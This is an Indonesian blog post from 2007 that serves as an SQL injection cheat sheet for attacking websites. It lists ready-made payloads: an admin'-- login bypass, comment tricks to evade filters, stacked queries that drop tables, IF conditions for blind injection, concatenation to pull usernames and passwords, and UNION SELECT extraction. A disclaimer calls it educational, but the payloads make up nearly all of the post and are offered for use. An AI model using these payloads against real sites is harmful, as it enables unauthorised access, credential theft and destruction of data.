SQL injection

Acthung!!!
This information is for educational purpose only.
Please use this information wisely.

Udah pada tau kan soal SQL injection?
Yah kalo belum baca deh Tutorialnya (dulu pernah ta buat)
Itu tutorial basic, sekarang kita ke tutorial advance.
Disini ga akan dibahas gimana cara inject nya tapi berbagai syntax yang bisa kita gunakan
untuk menginject suatu website (jika emang bisa diinject).

Oke, lets’ begin

Syntax SQL Injection
1. Commenting out.
Gunanya untuk mengakhiri suatu query, bypass query.
+ SQL Server
Syntax: —
Penggunaan: DROP namatabel;–
+ MySQL
Syntax: #
Penggunaan: DROP namatabel;#

Contoh penggunaan in real life:
* Username: admin’–
* Proses query yang terjadi di server:
SELECT * FROM userlist WHERE username=’admin’–‘ AND password=’password’;
Query ini akan memberikan km akses sebagai admin karena query selanjutnya setelah — akan diabaikan

2. Inline comment
Gunanya untuk mengetahui versi SQL server yang digunakan atau untuk bypass script proteksi
+ SQL Server (MySQL juga bisa)
Syntax: /*Comment*/
Penggunaan: DROP/*comment*/namatabel
atau: DR/**/OP/*bypass proteksi*/namatabel
atau: SELECT/*menghindari-spasi*/password/**/FROM/**/userlist

+ MySQL (mendeteksi versi)
Syntax: /*!MYSQL Special SQL*/
Penggunaan: SELECT /*!32302 1/0,*/1 FROM namatabel
Note: Syntax juga bisa digunakan jika versi MySQL lebih tinggi dari 3.23.02 (sesuai query), tidak berfungsi untuk versi dibawahnya

3. Staking queries
Gunanya untuk menyambung 2 buah query dalam 1 transaksi.
+ SQL Server
Syntax: ;
Penggunaan: SELECT * FROM namatabel; DROP namatabel–

4. Pernyataan IF
Ini kunci jika melakukan Blind SQL Injection, juga berguna untuk testing sesuatu yang ga jelas secara akurat
+ SQL Server
Syntax: IF kondisi bagian-true ELSE bagian-false
Penggunaan: IF (1=1) SELECT ‘true’ ELSE SELECT ‘false’

+ MySQL
Syntax: IF(kondisi,bagian-true,bagian-false)
Penggunaan: SELECT IF(1=1,’true’,’false’)

5. Operasi String
Gunanya untuk bypass proteksi
+ SQL Server
Syntax: +
Penggunaan: SELECT login + ‘-‘ + password FROM userlist
+ MySQL Server
Syntax: ||
Penggunaan: SELECT login || ‘-‘ || password FROM userlist

Note: Jika MySQL server dalam mode ANSI syntax berfunsi. Cara lain adalah dengan menggunakan fungsi CONCAT() dalam MySQL.
Syntax: CONCAT(str1,str2,str3,…)
Penggunaan: SELECT CONCAT(login,password) FROM userlist

6. Union Injection
Gunanya menggabungkan 2 tabel yang berbeda dengan syarat tabel itu harus sama jumlah kolomnya.

Syntax: UNION
Penggunaan: ‘ UNION SELECT * FROM namatabel
atau: ‘ UNION ALL SELECT * FROM namatabel
atau: ‘ UNION SELECT kolom1,kolom2 FROM namatabel
Proses yang terjadi dalam query:
SELECT * FROM user WHERE id=’1’ UNION SELECT kolom1,kolom2 FROM namatabel

Jika tabel tersebut mempunyai kolom yang berbeda, maka dapat ditambahkan null atau 1
Penggunaan: ‘ UNION SELECT 1,kolom1,kolom2 FROM namatabel

Note: MySQL server versi lama tidak support sama perintah UNION

Berikutnya yah Tips dan Trik gimana cara menggunakan syntax-syntax di atas in real life. Tapi berhubung si bos ngasih kerjaan baru yah ditunda dulu deh ..😀

Published on October 10, 2007 at 8:35 am  Leave a Comment  

The URI to TrackBack this entry is: https://miqrosoft.wordpress.com/sql-injection/trackback/

RSS feed for comments on this post.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

%d bloggers like this: